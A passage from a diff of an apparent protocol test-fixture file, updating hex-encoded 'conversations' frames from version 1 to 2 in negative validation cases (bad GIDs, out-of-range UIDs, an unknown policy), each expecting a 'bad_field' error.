f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-gid-nobody", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a36353533342c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a36353533342c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-gid-equals-a-tool-uid", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32303030312c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32303030312c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-uid-above-65535", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a36353533362c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a36353533362c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-gid-equals-a-runtime-uid", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32303030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32303030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-policy-unknown", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22796f6c6f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22796f6c6f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-dotdot", "direction": "down", - "hex": 